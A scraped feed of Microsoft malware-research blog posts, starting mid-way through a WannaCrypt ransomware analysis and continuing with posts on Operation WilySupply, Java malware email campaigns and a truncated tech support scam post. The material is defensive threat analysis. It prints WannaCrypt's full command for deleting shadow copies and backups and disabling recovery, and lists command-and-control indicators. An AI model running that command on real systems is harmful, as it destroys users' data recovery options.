The dropper tries to connect the following domains using the API InternetOpenUrlA():

  • www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
  • www[.]ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
  • www[x].iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]test

If connection to the domains is successful, the dropper does not infect the system further with ransomware or try to exploit other systems to spread; it simply stops execution. However, if the connection fails, the threat proceeds to drop the ransomware and creates a service on the system.

In other words, unlike in most malware infections, IT Administrators should NOT block these domains. Note that the malware is not proxy-aware, so a local DNS record may be required. This does not need to point to the Internet, but can resolve to any accessible server which will accept connections on TCP 80.

wannacrypt1

The threat creates a service named mssecsvc2.0, whose function is to exploit the SMB vulnerability in other computers accessible from the infected system:

Service Name: mssecsvc2.0
Service Description: (Microsoft Security Center (2.0) Service)
Service Parameters: “-m security”

wannacrypt2

WannaCrypt ransomware

The ransomware component is a dropper that contains a password-protected .zip archive in its resource section. The document encryption routine and the files in the .zip archive contain support tools, a decryption tool, and the ransom message. In the samples we analyzed, the password for the .zip archive is "WNcry@2ol7".

When run, WannaCrypt creates the following registry keys:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\<random string> = "<malware working directory>\tasksche.exe"
  • HKLM\SOFTWARE\WanaCrypt0r\\wd = "<malware working directory>"

It changes the wallpaper to a ransom message by modifying the following registry key:

  • HKCU\Control Panel\Desktop\Wallpaper: "<malware working directory>\@WanaDecryptor@.bmp"

It creates the following files in the malware's working directory:

  • 00000000.eky
  • 00000000.pky
  • 00000000.res
  • 274901494632976.bat
  • @Please_Read_Me@.txt
  • @WanaDecryptor@.bmp
  • @WanaDecryptor@.exe
  • b.wnry
  • c.wnry
  • f.wnry
  • m.vbs
  • msg\m_bulgarian.wnry
  • msg\m_chinese (simplified).wnry
  • msg\m_chinese (traditional).wnry
  • msg\m_croatian.wnry
  • msg\m_czech.wnry
  • msg\m_danish.wnry
  • msg\m_dutch.wnry
  • msg\m_english.wnry
  • msg\m_filipino.wnry
  • msg\m_finnish.wnry
  • msg\m_french.wnry
  • msg\m_german.wnry
  • msg\m_greek.wnry
  • msg\m_indonesian.wnry
  • msg\m_italian.wnry
  • msg\m_japanese.wnry
  • msg\m_korean.wnry
  • msg\m_latvian.wnry
  • msg\m_norwegian.wnry
  • msg\m_polish.wnry
  • msg\m_portuguese.wnry
  • msg\m_romanian.wnry
  • msg\m_russian.wnry
  • msg\m_slovak.wnry
  • msg\m_spanish.wnry
  • msg\m_swedish.wnry
  • msg\m_turkish.wnry
  • msg\m_vietnamese.wnry
  • r.wnry
  • s.wnry
  • t.wnry
  • TaskData\Tor\libeay32.dll
  • TaskData\Tor\libevent-2-0-5.dll
  • TaskData\Tor\libevent_core-2-0-5.dll
  • TaskData\Tor\libevent_extra-2-0-5.dll
  • TaskData\Tor\libgcc_s_sjlj-1.dll
  • TaskData\Tor\libssp-0.dll
  • TaskData\Tor\ssleay32.dll
  • TaskData\Tor\taskhsvc.exe
  • TaskData\Tor\tor.exe
  • TaskData\Tor\zlib1.dll
  • taskdl.exe
  • taskse.exe
  • u.wnry

WannaCrypt may also create the following files:

  • %SystemRoot%\tasksche.exe
  • %SystemDrive%\intel\<random directory name>\tasksche.exe
  • %ProgramData%\<random directory name>\tasksche.exe

It may create a randomly named service that has the following associated ImagePath: "cmd.exe /c "<malware working directory>\tasksche.exe"".

It then searches the whole computer for any file with any of the following file name extensions: .123, .jpeg , .rb , .602 , .jpg , .rtf , .doc , .js , .sch , .3dm , .jsp , .sh , .3ds , .key , .sldm , .3g2 , .lay , .sldm , .3gp , .lay6 , .sldx , .7z , .ldf , .slk , .accdb , .m3u , .sln , .aes , .m4u , .snt , .ai , .max , .sql , .ARC , .mdb , .sqlite3 , .asc , .mdf , .sqlitedb , .asf , .mid , .stc , .asm , .mkv , .std , .asp , .mml , .sti , .avi , .mov , .stw , .backup , .mp3 , .suo , .bak , .mp4 , .svg , .bat , .mpeg , .swf , .bmp , .mpg , .sxc , .brd , .msg , .sxd , .bz2 , .myd , .sxi , .c , .myi , .sxm , .cgm , .nef , .sxw , .class , .odb , .tar , .cmd , .odg , .tbk , .cpp , .odp , .tgz , .crt , .ods , .tif , .cs , .odt , .tiff , .csr , .onetoc2 , .txt , .csv , .ost , .uop , .db , .otg , .uot , .dbf , .otp , .vb , .dch , .ots , .vbs , .der" , .ott , .vcd , .dif , .p12 , .vdi , .dip , .PAQ , .vmdk , .djvu , .pas , .vmx , .docb , .pdf , .vob , .docm , .pem , .vsd , .docx , .pfx , .vsdx , .dot , .php , .wav , .dotm , .pl , .wb2 , .dotx , .png , .wk1 , .dwg , .pot , .wks , .edb , .potm , .wma , .eml , .potx , .wmv , .fla , .ppam , .xlc , .flv , .pps , .xlm , .frm , .ppsm , .xls , .gif , .ppsx , .xlsb , .gpg , .ppt , .xlsm , .gz , .pptm , .xlsx , .h , .pptx , .xlt , .hwp , .ps1 , .xltm , .ibd , .psd , .xltx , .iso , .pst , .xlw , .jar , .rar , .zip , .java , .raw.

WannaCrypt encrypts all files it finds and renames them by appending .WNCRY to the file name. For example, if a file is named picture.jpg, the ransomware encrypts and renames the file to picture.jpg.WNCRY.

This ransomware also creates the file @Please_Read_Me@.txt in every folder where files are encrypted. The file contains the same ransom message shown in the replaced wallpaper image (see screenshot below).

After completing the encryption process, the malware deletes the volume shadow copies by running the following command:

cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

It then replaces the desktop background image with the following message:

wannacrypt-ransom-note

It also runs an executable showing a ransom note which indicates a $300 ransom in Bitcoins as well as a timer:

wannacrypt-ransom-executable

The text is localized into the following languages: Bulgarian, Chinese (simplified), Chinese (traditional), Croatian, Czech, Danish, Dutch, English, Filipino, Finnish, French, German, Greek, Indonesian, Italian, Japanese, Korean, Latvian, Norwegian, Polish, Portuguese, Romanian, Russian, Slovak, Spanish, Swedish, Turkish, and Vietnamese.

The ransomware also demonstrates the decryption capability by allowing the user to decrypt a few random files, free of charge. It then quickly reminds the user to pay the ransom to decrypt all the remaining files.

wannacrypt-decryptor

Spreading capability

The worm functionality attempts to infect unpatched Windows machines in the local network. At the same time, it also executes massive scanning on Internet IP addresses to find and infect other vulnerable computers. This activity results in large SMB traffic from the infected host, which can be observed by SecOps personnel, as shown below.

wannacrypt-exploit

The Internet scanning routine randomly generates octets to form the IPv4 address. The malware then targets that IP to attempt to exploit CVE-2017-0145. The threat avoids infecting the IPv4 address if the randomly generated value for first octet is 127 or if the value is equal to or greater than 224, in order to skip local loopback interfaces. Once a vulnerable machine is found and infected, it becomes the next hop to infect other machines. The vicious infection cycle continues as the scanning routing discovers unpatched computers.

When it successfully infects a vulnerable computer, the malware runs kernel-level shellcode that seems to have been copied from the public backdoor known as DOUBLEPULSAR, but with certain adjustments to drop and execute the ransomware dropper payload, both for x86 and x64 systems.

wannacrypt7

wannacrypt8

Protection against the WannaCrypt attack

To get the latest protection from Microsoft, upgrade to Windows 10. Keeping your computers up-to-date gives you the benefits of the latest features and proactive mitigations built into the latest versions of Windows.

We recommend customers that have not yet installed the security update MS17-010 do so as soon as possible. Until you can apply the patch, we also recommend two possible workarounds to reduce the attack surface:

Windows Defender Antivirus detects this threat as Ransom:Win32/WannaCrypt as of the 1.243.297.0 update. Windows Defender Antivirus uses cloud-based protection, helping to protect you from the latest threats.

For enterprises, use Device Guard to lock down devices and provide kernel-level virtualization-based security, allowing only trusted applications to run, effectively preventing malware from running.

Use Office 365 Advanced Threat Protection, which has machine learning capability that blocks dangerous email threats, such as the emails carrying ransomware.

Monitor networks with Windows Defender Advanced Threat Protection, which alerts security operations teams about suspicious activities. Download this playbook to see how you can leverage Windows Defender ATP to detect, investigate, and mitigate ransomware in networks: Windows Defender Advanced Threat Protection – Ransomware response playbook.

Resources

Download English language security updates: Windows Server 2003 SP2 x64, Windows Server 2003 SP2 x86, Windows XP SP2 x64, Windows XP SP3 x86, Windows XP Embedded SP3 x86, Windows 8 x86, Windows 8 x64

Download localized language security updates: Windows Server 2003 SP2 x64, Windows Server 2003 SP2 x86, Windows XP SP2 x64, Windows XP SP3 x86, Windows XP Embedded SP3 x86, Windows 8 x86, Windows 8 x64

MS17-010 Security Update: https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Customer guidance for WannaCrypt attacks: https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

General information on ransomware: https://www.microsoft.com/en-us/security/portal/mmpc/shared/ransomware.aspx

Next-generation ransomware protection with Windows 10 Creators Update: https://blogs.technet.microsoft.com/mmpc/2017/06/08/windows-10-creators-update-hardens-security-with-next-gen-defense/

Indicators of compromise

SHA1 of samples analyzed:

  • 51e4307093f8ca8854359c0ac882ddca427a813c
  • e889544aff85ffaf8b0d0da705105dee7c97fe26

Files created:

  • %SystemRoot%\mssecsvc.exe
  • %SystemRoot%\tasksche.exe
  • %SystemRoot%\qeriuwjhrf
  • b.wnry
  • c.wnry
  • f.wnry
  • r.wnry
  • s.wnry
  • t.wnry
  • u.wnry
  • taskdl.exe
  • taskse.exe
  • 00000000.eky
  • 00000000.res
  • 00000000.pky
  • @WanaDecryptor@.exe
  • @Please_Read_Me@.txt
  • m.vbs
  • @WanaDecryptor@.exe.lnk
  • @WanaDecryptor@.bmp
  • 274901494632976.bat
  • taskdl.exe
  • Taskse.exe
  • Files with ".wnry" extension
  • Files with ".WNCRY" extension

Registry keys created:

  • HKLM\SOFTWARE\WanaCrypt0r\wd

 

 

Karthik Selvaraj, Elia Florio, Andrea Lelli, and Tanmay Ganacharya (@tanmayg)
Microsoft Malware Protection Center (@msftmmpc)

 

Related blog entries:

Windows 10 Creators Update provides next-gen ransomware protection

Analysis of the ETERNALBLUE and ETERNALROMANCE exploits leaked by Shadow Brokers

 

Updates:

June 20, 2017 - added reference to analysis of exploits leaked by Shadow Brokers

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/feed/110
Antivirus evolvedhttps://blogs.technet.microsoft.com/mmpc/2017/05/08/antivirus-evolved/https://blogs.technet.microsoft.com/mmpc/2017/05/08/antivirus-evolved/#commentsMon, 08 May 2017 15:00:20 +0000https://blogs.technet.microsoft.com/mmpc/?p=12336Some say antivirus is an outdated technology. What does “antivirus” even mean? For us, antivirus is the most commonly recognized term that means for customers “a product that stops bad programs from infecting my device.” Saying “antivirus” is similar to when you hear a Southerner (like myself) say “Coke” when referring to a carbonated beverage. Or like when my partner, who is from the UK, says it’s time to “Hoover” the house, when he really means to vacuum.

The original connotation of the term “antivirus” has become defunct. Everyone knows it’s not just about viruses anymore—there’s more to it than that. The traditional means of protecting customers by having humans write signatures based on malware they’ve analyzed, essentially the original method of developing antivirus, is, practically speaking—dead.

What's in a name

Windows Defender Antivirus is more than what the name might traditionally imply. When you protect over a billion customers and provide a verdict for around 90 billion potentially malicious encounters each day, traditional antivirus simply doesn’t scale. Today, we have published a new white paper that describes many of those capabilities, and I’ll go through them briefly in this blog post.

Microsoft is in a unique position to deliver protection to customers. The Windows Defender team, has many industry veterans who have deep knowledge of malware, infection vectors, and even the actors and their motivations – the whole kill chain. Aside from that, Microsoft also has a foundational core of data scientists and experts in machine learning. These individuals span across the company. You can find them in Microsoft Research, of course, but check any team like Office or Bing or Family Safety and you will find at least a few, to an army of data scientists, nearby. Data science is a core part of Microsoft’s DNA which, of course, extends to the Windows Defender team where we have been evolving machine learning to protect our customers.

Machine learning, behavioral analysis, and other evolutions

Windows Defender Antivirus has machine learning models on the local client and in our cloud protection system. At the client, we use high-performance, mostly linear models, to detect malware.

Although 97% of malware is detected locally by the client, we send additional data on suspicious signals and files to the cloud protection system. Heuristic detections, behavioral analysis, and client-based machine learning models work together to identify these potential threats and send them to the cloud protection system for its high-power computational capability. Our most intensive machine learning models live in our cloud protection system. These models can apply enormous computing power to machine learning models that could never run efficiently on the client. We have quick, linear models, of course, in addition to more intensive models like Deep Neural Networks. However, to run hundreds of these models simultaneously to report a verdict in milliseconds, you need serious power that you would not want to impose upon a single computer.

Machine learning as a buzzword has become a hot button topic in the antivirus community, so I want to clarify my position here. Machine learning is but one tool of many required to protect customers. The best artisans utilize a collection of tools and know when to choose one over the other to master their craft. In this case, the craft is customer protection.

At Microsoft, we have the luxury of having the efficiency and precision of traditional antivirus and automated, intelligence-based capabilities that use behavioral analysis, heuristics, and machine learning to scale out our human experts.

On any given day, 30% to 40% of customer malware encounters are related to malware seen more than one time in the ecosystem. These types of threats are great candidates for efficient client-based signatures. The rest of encounters, and in fact 96% of the distinct attacks and signals we see, are first seen threats. These are prime candidates for evolved, intelligent features that use behavioral analysis, machine learning models, or other methodologies.

As mentioned above, most of the threats our customers encounter are detected at the client. However, some of our most powerful, most intensive rules, run in our cloud protection system. So, that additional 3% of threats are detected through intensive processing power in a way that doesn’t impact client performance. We let our cloud protection system do the heavy lifting. Our cloud protection system is also connected to the Microsoft Intelligent Security Graph (ISG), which is informed by trillions of signals from billions of sources consisting of inputs we receive across our endpoints, consumer services, commercial services and on-premises technologies. All that uniquely positions us to personalize our protection and identify anomalies which often represent new threats.

This vast framework of protection tools allows us to efficiently scale out our human expertise. For every malicious signal we manually investigate, we provide protection for an additional 4,500 threats and 12,000 customers (on average). That works out to 99.98% of threats detected for the .02% we manually investigate—a pretty decent ratio.

Diagram of how Windows Defender AV process malicious signals

Figure 1: Windows Defender AV uses next generation technologies to process malicious signals

In the protection stack

Of course, Windows Defender Antivirus is just one key component in the fight against malware and other types of threats. Windows 10 includes a stack of security features that complement Windows Defender Antivirus. We’ve recently introduced Windows Defender Advanced Threat Protection (Windows Defender ATP) to the Windows Defender brand family, which can help customers to detect and respond to advanced attacks that might get past your primary defenses. These features combined provide a secure and full-featured suite of solutions to help customers achieve the security profile that today’s modern threat landscape and customer demand.

Table containing a list of Windows Security Protection stack

Figure 2: The Windows Security Protection stack utilizes a mix of traditional and modern technologies to block cybersecurity threats

For more details, read the recently published whitepaper, Evolution of malware prevention.

Holly Stewart
MMPC

]]>
https://blogs.technet.microsoft.com/mmpc/2017/05/08/antivirus-evolved/feed/2
Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattackhttps://blogs.technet.microsoft.com/mmpc/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/https://blogs.technet.microsoft.com/mmpc/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/#commentsThu, 04 May 2017 16:29:18 +0000https://blogs.technet.microsoft.com/mmpc/?p=12145Several weeks ago, the Windows Defender Advanced Threat Protection (Windows Defender ATP) research team noticed security alerts that demonstrated an intriguing attack pattern. These early alerts uncovered a well-planned, finely orchestrated cyberattack that targeted several high-profile technology and financial organizations. An unknown attacker was taking advantage of a silent yet effective attack vector: the compromised update mechanism or software supply chain for a third-party editing tool. The software vendor that develops the editing tool was unaware of the issue. In fact, while their software supply chain served as a channel for attacking other organizations, they themselves were also under attack.

This cyberattack could have been much more problematic if it had gone undetected. Its early discovery allowed incident responders—a collaboration of security experts from the targeted industries and developers working for the third-party software vendor—to work with Microsoft security researchers to promptly identify and neutralize the activities associated with this cyberespionage campaign.

Thanks to the collaborative response, Microsoft was able to notify known affected parties as well as the third-party software vendor, who then worked around the clock to contain the attempted attack and mitigate potential risks.

Investigating alert timelines and process trees

Regardless of how an attack is executed, through sophisticated social engineering or a zero-day exploit, the first stage or the entry vector of a kill chain is often the most challenging aspect to understand about the attack. Windows Defender ATP initially called our attention to alerts flagging suspicious PowerShell scripts, self-deletion of executables, and other suspect activities. A quick check in the Windows Defender ATP console led us to the machine that was under attack. However, the source of the attack remained buried, requiring additional investigative effort to uncover.

By utilizing the timeline and process-tree views in the Windows Defender ATP console, we were able to identify the process responsible for the malicious activities and pinpoint exactly when they occurred. We traced these activities to an updater for the editing tool. We now had to look deeper into how this legitimate process might have been involved.

Initial alerts triggered by PowerShell activities as detected by Windows Defender ATP

Figure 1. Initial alerts triggered by PowerShell activities as detected by Windows Defender ATP

Third-party updaters as attack vectors

DuUpdatesring forensic analysis, an incident responder has to consider every possible explanation about how an attack took place. After ruling out a series of options—a local man-in-the-middle (MITM) attack, malware injection, or malware-bundled installers—forensic examination of the Temp folder on the affected machine pointed us to a legitimate third-party updater running as service. The updater downloaded an unsigned, low-prevalence executable right before malicious activity was observed.

The downloaded executable turned out to be a malicious binary that launched PowerShell scripts bundled with the Meterpreter reverse shell, which granted the remote attacker silent control. The binary is detected by Microsoft as Rivit.

Although it did not utilize a zero-day exploit, this cyberattack effectively compromised an asset. It took advantage of the common trust relationship with software supply chains and the fact that the attacker has already gained control of the remote update channel. This generic technique of targeting self-updating software and their infrastructure has played a part in a series of high-profile attacks, such as unrelated incidents targeting Altair Technologies' EvLog update process, the auto-update mechanism for South Korean software SimDisk, and the update server used by ESTsoft's ALZip compression application.

Another interesting aspect of this attack was that it only affected certain machines and ignored most of the machines that it could have targeted. To an extent, this made the investigation simpler—it resulted in a security incident that was effectively limited in scope. However, it is indicative of the more sinister intent to selectively attack the most valuable targets while keeping a low profile.

Commodity tools in a sophisticated attack

While the attack itself, including the selection of targets, appear to have been carefully planned, the attacker toolset comprised commodity tools and simple malware. These commodity tools are the same tools used in typical penetration testing exercises. The malware binary, named by the cybercriminals ue.exe, was a small piece of code with the sole purpose of launching a Meterpreter shell—a common pen-test tool—from a Base64/Gzip encoded blob downloaded using PowerShell.

Encrypted PowerShell command launched by the attacker binary using the updater

Figure 2. Encrypted PowerShell command launched by the attacker binary using the updater

The use of commodity tools and common methods allow advanced attackers to evade clear attribution and hide activities amidst typical detection noise. They hinder threat intelligence systems from associating attacks with specific actors, who are often personified by unique techniques, tactics, and procedures (TTPs).

A review of the kill chain activities detected and recorded by Windows Defender ATP—network exploration, credential dumping, and lateral movement—revealed that all these activities were performed using either native system commands or scripted tools executed only in memory through PowerShell. Such in-memory techniques are becoming an increasingly common method by which advanced attackers avoid leaving obvious traces on the disk.

During this attack, we observed the following TTPs:

  • Non-persistent, self-destructing initial binary
  • Memory-only payloads assisted by PowerShell and Meterpreter running in rundll32
  • Recon activities, including machine enumeration, using standard commands, such as NET, IPCONFIG, NETSTAT, NLTEST, and WHOAMI
  • Migration into long-living processes, such as the Windows Printer Spooler or spoolsv.exe
  • Use of common tools like Mimikatz and Kerberoast to dump hashes
  • Lateral movement using Windows Management Instrumentation (WMI), specifically the WMIC /node command
  • Persistence through scheduled tasks created using SCHTASKS and AT commands

Meterpreter payload used to open a reverse shell that gave control to the attacker

Figure 3. Meterpreter payload used to open a reverse shell that gave control to the attacker

Operation WilySupply attack indicators

The following network addresses were actively used by the attacker to perform initial network scanning and command-and-control (C&C) communication:

  • hXXp://5.39.218.205/logo.png (used for initial infection and C&C communication)
  • hXXp://176.53.118.131/logo.png (used for lateral movement and C&C communication)

The same IP addresses were used with different URLs to download Meterpreter-based payloads. The logo.png files in the initial URLs contained the PowerShell scripts in base64-gzip encoding.

PowerShell script in base64-gzip encoding contained in the PNG files

Figure 4. PowerShell script in base64-gzip encoding contained in the PNG files

The indicators for the malicious sample downloaded through the third-party updater are:

  • Filename: ue.exe
  • Size: 132.096 bytes
  • SHA1: 75edd4ee11e7d3dabd191c316da637f939140e2f
  • MD5: a34c930506b64f98cdf3ec2a474f5b31

We believe that the activity group behind Operation WilySupply is motivated by financial gain. They compromise third-party software packages delivered through updaters and other channels to reach victims who are mostly in the finance and payment industries.

A response network in action

Windows Defender ATP researchers worked closely with the Microsoft Cyber Defense Operations Center and the Microsoft Security Response Center to drive this attack to remediation, coordinating with the affected third-party vendor and the broader security community. After gathering evidence that an unspecified flaw in the software supply chain was being used in the attacks, Microsoft immediately notified the third-party software vendor. Their team neutralized the updater issue, dedicating resources to analyze logs and forensic evidence, collect additional attack indicators, and notify potentially affected parties.

Once we validated the indicators associated with this attack through collaboration with the affected vendor, we immediately shared indicator information with the security industry though our MAPP partnerships. We also shared our findings with trusted security partners, empowering a community of defenders to quickly respond to and track activities associated with this cyberattack.

To protect customers and expose attackers and their techniques, coordinated responses to sophisticated attacks need to happen across the software industry and other affected industries. During this attack, the collaborative response enabled everyone to promptly protect partners and customers.

Reducing the attack surface in software supply chains

To help contain the use of updaters as an attack surface, we have enhanced Windows Defender ATP to detect updater hijacks, including the activities described as part of this attempted cyberattack. To do this, Windows Defender ATP analyzes large sets of data to learn normal updater behavior and alert for deviations. In the example below, Windows Defender ATP has detected an updater designed to download only signed binaries suddenly downloading an unsigned executable.

Windows Defender ATP detecting anomalous updater behavior

Figure 5. Windows Defender ATP detecting anomalous updater behavior

Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge.

Microsoft encourages software vendors providing automatic updaters to review their code using SDL best practices and apply these security and hardening measures:

  • Use strong encryption to protect update channels and to avoid being a target of attacks that use common pen-test tools like Evil Grade. Consider certificate pinning in the update protocol.
  • Before running binaries downloaded from the update channel, always validate their digital signatures against your own certificates. Don't allow blind execution.
  • Place scripts and configuration files in signed containers. Unlike signed binaries, scripts and configuration files are often loaded unverified. Unless kept in signed containers, these files are prone to tampering.
  • Be aware that clean, signed binaries might still allow malicious commands to be executed through the command-line. Likewise, web content used in the update process might allow execution of scripts when rendered.
  • If your update process runs with higher privileges, don't let it trust folders that can be modified with lower privileges such as the Temp folder. An updater process might inadvertently elevate privileges of arbitrary code that an attacker has placed in scripts, configuration files, or DLL files in these folders.
  • Protect your update infrastructure from intrusion by applying regular security updates and getting critical mechanisms in place, such as a firewall, antimalware, 2FA authentication, and periodic log reviews.

 

Elia Florio
Windows Defender ATP Research Team

]]>
https://blogs.technet.microsoft.com/mmpc/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/feed/4
Combating a spate of Java malware with machine learning in real-timehttps://blogs.technet.microsoft.com/mmpc/2017/04/20/combating-a-wave-of-java-malware-with-machine-learning-in-real-time/https://blogs.technet.microsoft.com/mmpc/2017/04/20/combating-a-wave-of-java-malware-with-machine-learning-in-real-time/#commentsThu, 20 Apr 2017 13:02:00 +0000https://blogs.technet.microsoft.com/mmpc/?p=12016In recent weeks, we have seen a surge in emails carrying fresh malicious Java (.jar) malware that use new techniques to evade antivirus protection. But with our research team’s automated expert systems and machine learning models, Windows 10 PCs get real-time protection against these latest threats.

Attackers are constantly changing their methods and tools. We know from many years of research into malware and cybercriminal operations that cybercriminals have go-to programming languages for their malicious activities, but they switch from time to time to slip past security solutions. For instance, we recently tracked how cybercriminals have changed how they use NSIS installers in order to evade AV and deliver ransomware.

To help deliver real-time protection to Windows Defender Antivirus, our researchers use the Microsoft intelligent security graph, a robust automated system that monitors threat intelligence from a wide network of sensors. This system includes machine learning models, which drive proactive and predictive protection against fresh threats.

Tracking malicious email campaigns

Our sensors first picked up signs of the Java spam campaigns at the start of the year. Our automated tools, which can sort and classify massive volumes of malicious emails, showed us actionable intelligence about the surge of Java malware-bearing emails.

These emails use various social engineering techniques to lure recipients to open malicious attachments. Many of the emails are in Portuguese, but we’re also seeing cases in English. They pretend to be notifications for billing, payment, pension, or other financial alerts.

Here are the most popular subject line and attachment file name combinations used in the email campaigns:

Subject Attachment file name
Segue em anexo Oficio Numero: <number> Decisão-Judicial.zip
Serviços de Cobranças Imperio adverte, Boleto N<number> 2Via_Boleto_N<number>.zip
“Cobrança Extrajudicial” Imperio Serviços de Cobranças 2Via_Boleto_N<number>.zip
Payment Advice Payment Advice.rar
Curriculum Vitae <Date> Curriculum_<name><number>.zip
FGTS Inativo - <number> - Disponivel para saque em <number> SALDO_FGTS_MP_<number>.zip
FGTS Inativo - <number> - Disponivel para saque em <number> FGTS_-_MP_<number>.zip
Extrato_FGTS_disponivel_em_sua_conta_inativa_de_N<number> FGTS_Disponivel_N<number>.zip
NEW PURCHASE ORDER (TOP URGENT) BLUERHINETECHNOLOGY_EXPORT_PURCHASE_ORDER.zip
NF-e <number>. Emitente <number> - GLOBECALL DO BRASIL LTDA. <number> NF-e-<number>.zip

Figure 1. Most popular subject line and attachment file name combinations in email campaigns

The attachments are usually .zip or .rar archive files that contain the malicious .jar files. The choice of .jar as attachment file type is an attempt by cybercriminals to stay away from the more recognizable malicious file types: MIME, PDF, text, HTML, or document files.

java-malware-sample-email

Figure 2. Sample malicious email carrying Java malware in a .zip file

Tracking updates in malicious code

In addition to information about the email campaigns, our monitoring tools also showed another interesting trend: throughout the run of the campaigns, an average of 900 unique Java malware files were used in these campaigns every day. At one point, Windows Defender Antivirus encountered 1,200 unique malicious Java files in a single day.

daily-volume-of-unique-java-malware

Figure 3. Volume of unique Java malware used in email campaigns

These Java malware files are variants of old malware with updated code that attempt to evade detection by security products.

The most notable change we saw in these new variants of Java malware is in the way they obfuscate malicious code. For instance, we saw the following obfuscation techniques:

  1. Using a series of append operators and a string decryption function
    sample-obfuscated-java-malware-code
    Figure 4. Sample obfuscated Java malware code
  2. Using overly long variable names, making them effectively unreadable
    sample-obfuscated-java-malware-code-2
    Figure 5. Sample obfuscated Java malware code
  3. Using excessive codes, making code tracing more difficult
    sample-obfuscated-java-malware-code-3
    Figure 6. Sample obfuscated Java malware code

Obfuscated codes can make analysis tedious. We use automated systems that detonate the attachments, effectively bypassing obfuscation. When malware is detonated, we see the malicious intent and gain intelligence that we can use to prevent attacks.

Our tools log malicious behaviors observed during detonation and use these to detect new and unknown attachments. These malicious behaviors include:

java-malware-tracer-logs

Figure 7. Sample Java malware trace logs

From threat intelligence to real-time protection

Through automated analysis, machine learning, and predictive modeling, we're better able to deliver protection against the latest, never-before-seen malware. These expert systems give us visibility and context into attacks as they happen, allowing Windows Defender AV to deliver real-time protection against the full range of threats.

Context-aware detonation systems analyze millions of potential malware samples and gather huge amounts of threat intelligence. This threat intelligence enriches our cloud protection engine, allowing us to block threats in real-time. In addition to the Java malware, we also detect the payloads, which are usually online banking Trojans like Banker and Banload, or Java remote access Trojans (RATs) like Jrat and Qrat.

combating-java-malware-automation-machine-learning

Figure 8. Automated systems feed threat intelligence to cloud engines and machine learning models, which result in real-time protection against threats

Threat intelligence from the detonation system constantly enhances our machine learning models. New malicious file identifiers from the analysis of the latest threats are added to machine learning classifiers, which power predictive protection.

This is how we use automation, machine learning, and the cloud to deliver protection technologies that are smarter and stronger against new and unknown threats. Windows Defender AV automatically protects Windows PCs against more than 97% of Java malware in the wild.

detecting-java-malware

Figure 9. Breakdown of Java malware detection methods

Conclusion: Real-time protection against relentless threats

The email campaigns distributing Java malware account for a small portion of cybercriminal operations that deliver new malware and other threats. Cybercriminals are continuously improving their tools and modus operandi to evade system protections.

Our research team is evolving how we combat cybercrime by augmenting human capacity with a combination of sensors, automated processes, machine learning, and cloud protection technologies. Through these, we are better able to monitor and create solutions against these threats.

These protections are available in the security technologies that are built into Windows 10. And with the  Creators Update, up-to-date computers get the latest security features and proactive mitigation.

Windows Defender Antivirus provides real-time protection against threats like Java malware and their payloads by using automation, machine learning, and heuristics.

In enterprise environments, Office 365 Advanced Threat Protection blocks malicious emails from spam campaigns, such as those that distribute Java malware, using machine learning capabilities and threat intelligence from the automated processes discussed in this blog.

Device Guard locks down devices and provides kernel-level virtualization-based security, allowing only trusted applications to run.

Windows Defender Advanced Threat Protection alerts security operations teams about suspicious activities on devices in their networks.

It is also important to note that Oracle has been enforcing stronger security checks against legitimate applications using Java. For instance, starting with Java 7 Update 51, Java does not allow Java applications that are not signed, are self-signed, or are missing permission attributes. Oracle will also start blocking .jar files signed with MD5, requiring instead signing with SHA1 or stronger.

However, the Java malware discussed in this blog are equivalent to executable files (as opposed to Java applet). Here are some additional tips to defend against Java malware in enterprise environments:

  • Remove JAR in file type associations in the operating system so that .jar files don’t run when double-clicked; .jar files must be manually executed using command line
  • Restrict Java to execute only signed .jar files
  • Manually verify signed .jar files
  • Apply email gateway policy to block .jar as attachments

 

Duc Nguyen, Jeong Mun, Alden Pornasdoro
Microsoft Malware Protection Center

]]>
https://blogs.technet.microsoft.com/mmpc/2017/04/20/combating-a-wave-of-java-malware-with-machine-learning-in-real-time/feed/1
Tech support scams persist with increasingly crafty techniqueshttps://blogs.technet.microsoft.com/mmpc/2017/04/03/tech-support-scams-persist-with-increasingly-crafty-techniques/https://blogs.technet.microsoft.com/mmpc/2017/04/03/tech-support-scams-persist-with-increasingly-crafty-techniques/#commentsMon, 03 Apr 2017 12:58:02 +0000https://blogs.technet.microsoft.com/mmpc/?p=11875(Note: Our Tech support scams FAQ page has the latest info on this type of threat, including scammer tactics, fake error messages, and the latest scammer hotlines. You can also read our latest blog, New tech support scam launches communication or phone call app.)

 

Millions of users continue to encounter technical support scams. Data from Windows Defender SmartScreen (which is used by both Microsoft Edge and Internet Explorer to block malicious sites) and Windows Defender Antivirus show that some three million users are subjected to these threats every month.

In addition to being rampant, technical support scams continue to evolve, employing more and more complex social engineering tactics that can increase panic and create a false sense of legitimacy or urgency in an effort to get more victims.

Given the sheer volume of tech support scams and the pace at which they evolve, here at Microsoft we take a holistic approach to this problem. We monitor the threat landscape for patterns and variations in threat behavior. Using intelligence from sensors, we employ machine learning models to deliver cloud-based protection against the latest tech support scams, whether they take the form of web pages with malicious scripts or Trojans that run on computers.

In 2016, the threat of support scam was most felt in the United States, which saw 58% of encounters. United Kingdom, Canada, and Australia follow, with 13%, 11%, and 8% of encounters, respectively. Notably, significant encounters were also registered in France and Spain, where we saw localized technical support scam attacks.

tech-support-scam-countries

Figure 1. Top counties that saw the most number of tech support scam encounters in 2016

